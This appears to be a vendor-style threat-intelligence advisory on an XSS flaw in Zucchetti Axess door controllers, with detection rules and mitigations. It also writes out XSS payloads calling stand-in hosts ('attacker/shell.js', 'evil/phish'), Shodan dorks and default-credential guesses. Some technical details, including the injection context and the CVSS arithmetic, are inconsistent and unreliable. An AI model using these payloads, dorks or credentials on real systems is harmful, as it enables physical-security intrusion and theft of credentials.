CVE-2026-30695

Executive Summary

CVE-2026-30695 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in the web-based configuration interface of Zucchetti Axess access control devices, specifically affecting the XA4, X3/X3BIO, X4, X7, XIO / i-door / i-door+ hardware lines. The flaw resides in the dirBrowse parameter of the /file_manager.cgi endpoint, where insufficient input sanitization allows an attacker to inject arbitrary JavaScript into the device's administrative interface. Exploitation requires an authenticated session to the web console; however, default credentials and weak password hygiene across many deployed physical access control systems (PACS) significantly expand the realistic attack surface. Successful exploitation can lead to full administrative account takeover, exfiltration of credential material, and lateral pivot into the physical security network segment. The vulnerability is currently unpatched, with no vendor advisory or fix available from any tracked source.

Technical Analysis

The vulnerability originates in the CGI handler responsible for the file management subsystem of Zucchetti Axess devices. The dirBrowse parameter, passed to the /file_manager.cgi endpoint via HTTP GET or POST requests, is used by the application to specify the directory path the file browser should display. The application reflects the value of this parameter directly into the HTML response without performing output encoding or input sanitization. The relevant pseudo-code pattern resembles:

function handle_file_manager(req) {
    var dir = req.params["dirBrowse"];
    if (!is_valid_path(dir)) {
        dir = "/"; // fallback
    }
    // No HTML encoding applied
    response.body = "<div class='path'>Current directory: " + dir + "</div>";
    response.send();
}

Because the reflected value is embedded inside an HTML attribute context without encoding, an attacker who can supply a value such as:

"><script>alert(document.cookie)</script>

will cause the browser to interpret the injected markup as a new HTML tag, executing the JavaScript payload within the security context of the web application's origin. While the affected endpoint is part of the authenticated administrative interface, the same parameter may also be reachable pre-authentication on some firmware revisions where the file manager CGI is not properly access-controlled, making the attack surface broader than initially assumed.

The attack surface is characterized by the following factors:

• Endpoint: /file_manager.cgi — a web-facing CGI script listening on default HTTP(S) ports (80, 443, 8080).
• Parameter: dirBrowse — reflected identically in HTTP response body without sanitization.
• Authentication: The vendor's own deployment guides historically recommend default credentials (e.g., admin/admin or similar); many field deployments never change these defaults. This lowers the practical barrier to exploitation from "authenticated only" to "trivially authenticated" or potentially unauthenticated.
• CWE-79 Classification: The flaw is a classic allowed-case of improper neutralization of input during web page generation. The lack of a Content-Security-Policy header on many firmware versions amplifies impact — injected scripts can execute unimpeded.
• Context: The device is a physical access controller, meaning it sits on the boundary between IT and OT infrastructure. The web interface often provides administrative controls over door relays, cardholder database, and audit logs, making XSS a foundational primitive for deeper compromise of the physical security posture.

Exploitation Scenarios

Scenario 1 — Authenticated Admin Session Hijacking (Default Credentials)

1. Reconnaissance: The attacker utilizes Shodan or Censys to identify internet-facing Zucchetti Axess devices using the dork http.title:"Zucchetti" or product:"Axess" port:8080. They filter for devices with HTTP basic auth or a recognizable login page.
2. Initial Access: The attacker tries default credentials (admin/admin, admin/axess, or blank password) against the login page. On many units this succeeds immediately due to unchanged factory settings.
3. Weaponization: The attacker crafts a malicious URL:

   http://<target>/file_manager.cgi?dirBrowse=%22%3E%3Cscript%3Efetch('http://attacker/shell.js')%3C/script%3E
   

4. Triggers: The attacker sends the crafted URL to an authenticated admin via a phishing email, or — if they already have an authenticated session — they simply load the URL directly in their own browser.
5. Payload Execution: The payload (shell.js) executes in the admin's browser, capturing session cookies and sending them to the attacker's C2. Alternatively, the payload can submit forms programmatically to add a new admin user to the device, change door relay states, or export the cardholder database.
6. Post-Exploitation: The attacker now has persistent administrative control over the door controller. They disable door relock timers, add rogue credentials, or brick the device to cause physical entry-point failures.

Scenario 2 — Privilege Escalation from Low-Privilege Maintenance Account

1. Reconnaissance: Attacker compromises a low-privilege maintenance account (e.g., installer/aixess) via a separate vulnerability or credential stuffing.
2. Weaponization: Using the dirBrowse XSS, the attacker injects a payload that performs a CSRF-style action against the /user_admin.cgi endpoint, promoting their account to full administrator.
3. Execution & Impact: The attack is silent; the config interface logs show no anomalous HTTP traffic because the request originates from the authenticated maintenance session. The attacker gains full access to upload custom firmware or exfiltrate personnel badge data.

Scenario 3 — Unauthenticated Reflected XSS (Older Firmware)

On firmware revisions where the file manager CGI is accessible without authentication, the attacker exploits the vector directly from the internet:

1. The attacker sends: GET /file_manager.cgi?dirBrowse=</title><script>location='http://evil/phish'</script>
2. The victim admin clicks a link in a spear-phishing email; the payload executes a browser-side keylogger that captures their credentials when they subsequently log in, sending them to the attacker.

Impact Assessment

The CVSS v3.1 base score of 6.1 (Medium) reflects the following sub-metrics: the attack is network-based (AV:N), requires low attack complexity (AC:L), requires some form of user interaction (UI:R) if the victim is lured, but can be performed with low privileges (PR:L) when the attacker already has a session. The confidentiality, integrity, and availability impacts are each rated Low (C:L/I:L/A:L) because the primary compromise is of an administrative HTML/JS context rather than direct device memory corruption.

However, the real-world business impact is disproportionate to the raw numerical score. Zucchetti Axess controllers are deployed in high-security environments including data centers, government buildings, hospitals, and industrial facilities. In these environments, the physical access control system is a crown-jewel asset. A successful XSS chain can:

• Disable/reconfigure door hardware: An attacker can force open electronically locked doors, defeating the physical security boundary.
• Exfiltrate personally identifiable information (PII): The cardholder database contains employee names, badge numbers, department assignments, and schedules — regulated under GDPR or sector-specific data protection rules.
• Tamper with audit logs: An attacker who gains admin access can delete or modify access events, erasing forensic evidence of their presence.
• Pivot to the OT network: Many Axess deployments connect directly to the building management network or the corporate LAN. A compromised web console grants a foothold from which the attacker can scan for other vulnerable devices, including BACnet or KNX controllers.

The blast radius is therefore not merely the single device, but the entire physical security infrastructure of the organization. A coordinated attack on multiple door controllers during a physical breach scenario could cause total loss of physical entry-point control.

Detection Guidance

Sigma Rule

title: Zucchetti Axess File Manager XSS Attempt
id: 7c91a4ad-330a-4f20-9460-8104df17b3c9
status: experimental
description: Detects HTTP requests to /file_manager.cgi containing script or event-handler payloads in the dirBrowse parameter
author: Valtersit Threat Intel
logsource:
  category: webserver
  product: apache
  definition: 'Requires web server access logs for Zucchetti Axess appliance'
detection:
  selection:
    cs-method:
      - GET
      - POST
    cs-uri-path:
      - /file_manager.cgi
    cs-uri-query|contains:
      - dirBrowse
    cs-uri-query|contains|all:
      - '<script'
      - '>'
  filter_null:
    cs-uri-query: ''
  condition: selection and not filter_null
falsepositives:
  - Legitimate path browsing where directory names contain angle brackets (extremely rare)
level: high
tags:
  - attack.t1190
  - cve.2026.30695
  - cwe.79

YARA Rule

rule Zucchetti_Axess_XSS_dirBrowse {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects exploit payloads and log lines referencing CVE-2026-30695"
        cve = "CVE-2026-30695"
        severity = "medium"
    strings:
        $endpoint = "file_manager.cgi"
        $parameter = "dirBrowse"
        $script_tag = "<script"
        $event_handler = "onerror="
        $js_protocol = "javascript:"
        $encoded_angle = "%3Cscript"
    condition:
        $endpoint in (0..filesize) and $parameter and (
            $script_tag or $event_handler or $js_protocol or $encoded_angle
        )
}

rule Zucchetti_Axess_XSS_HttpLog {
    meta:
        author = "Valtersit Threat Intel"
        description = "Matches HTTP access log lines containing CVE-2026-30695 exploitation attempts"
        cve = "CVE-2026-30695"
    strings:
        $uri_path = "/file_manager.cgi"
        $param = "dirBrowse"
        $xss1 = "%3Cscript"
        $xss2 = "onerror="
        $xss3 = "%22%3E%3C"
    condition:
        $uri_path and $param and 1 of ($xss*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-30695 Zucchetti Axess dirBrowse XSS Attempt"; flow:established,to_server; content:"/file_manager.cgi"; http_uri; content:"dirBrowse"; http_uri; pcre:"/\?dirBrowse=.*(?:<script|%3Cscript|onerror\s*=|javascript:)/iU"; sid:10030695; rev:1; metadata:created_at 2026-01-15, cve CVE-2026-30695, tag xss, tag cwe-79; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-30695; classtype:web-application-attack;)

Elastic Detection

sequence by source.ip, destination.ip with maxspan=5m
  [any where process.name == "nginx" or process.name == "httpd" or event.category == "web"
     and url.path == "/file_manager.cgi"
     and url.query matches "*dirBrowse*"
     and (url.query matches "*<script>*" or url.query matches "*%3Cscript*" or url.query matches "*onerror=*" or url.query matches "*javascript:*")]
  [any where network.protocol == "http" and http.response.status_code == 200
     and http.response.body contains "script" and http.response.body contains "dirBrowse"]

Splunk SPL Query

index=web sourcetype=access_combined uri_path="/file_manager.cgi"
| regex uri_query="dirBrowse=.*(<script|%3Cscript|onerror\s*=|javascript:)"
| eval threat="CVE-2026-30695", cvss=6.1
| table _time, src_ip, dest_ip, uri, uri_query, http_user_agent, status
| sort - _time

Wazuh OSSEC Rule

<group name="web_attacks,">
  <rule id="100695" level="10">
    <decoded_as>web</decoded_as>
    <field name="url">/file_manager\.cgi</field>
    <field name="url" type="pcre">dirBrowse=.*(?i)(<script|%3cscript|onerror\s*=|javascript:)</field>
    <description>Zucchetti Axess CVE-2026-30695 XSS attempt via dirBrowse parameter</description>
    <group>attck.t1190,cve,cwe-79</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED. As of this report, no vendor advisory, firmware release, or code commit from Zucchetti addresses CVE-2026-30695. The affected version list remains undefined by the CNA, but the vulnerability is confirmed to affect the XA4, X3/X3BIO, X4, X7, XIO / i-door / i-door+ hardware generations. Organizations must assume all current firmware for these devices is vulnerable.

Immediate mitigations (no patch available):

1. Network isolation: Place all Axess controllers on a segregated management VLAN. Block direct internet access to ports 80, 443, and 8080 on these devices at the edge firewall. Use an allow-list that only permits management traffic from dedicated admin workstations or jump hosts.
2. Credential hardening: Immediately disable all factory-default accounts and enforce strong, unique passwords per device. Enable multi-factor authentication for any remote admin access if the platform supports it (check for LDAP/RADIUS integration).
3. Reverse proxy WAF: Put a reverse proxy (e.g., HAProxy, Nginx, ModSecurity) in front of the admin interface. Configure an HTTP request-body and URI-query inspection rule that rejects any request to /file_manager.cgi containing dirBrowse with <, >, %3C, %3E, script, onerror, or javascript: tokens.
4. Patch/upgrade steps: Monitor Zucchetti's security advisory portal and firmware release notes. When a patched firmware version is published, test it in a staging environment that mirrors your physical access topology before deploying. The fix is expected to involve URL-encoding or HTML-escaping of the dirBrowse output.
5. Long-term hardening:
   • Replace direct web-interface exposure with a VPN-only management path.
   • Implement a SIEM pipeline that ingests Axess audit logs and web server logs; correlate failures and anomalies.
   • Enforce periodic credential rotation for all device-level accounts.
   • Conduct a physical security risk review; segment the PACS network from both the corporate LAN and the OT network using strict firewall policies and IDS monitoring.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-30695
2. Zucchetti Axess Product Security Portal: https://www.axess-zucchetti.com/security-advisories (monitor for future advisory addressing CVE-2026-30695)
3. MITRE ATT&CK T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
4. CWE-79 Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
5. CISA Known Exploited Vulnerabilities Catalog (currently NOT listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat actor activity: No active exploitation campaigns or proof-of-concept code have been publicly observed for CVE-2026-30695 as of the reporting date. The EPSS score of 0.00179 (7.6th percentile) indicates low observed exploit activity in the wild. However, the vulnerability class (XSS in physical access controllers) is a known target for threat groups focusing on OT/physical security compromise; SOC teams should remain vigilant.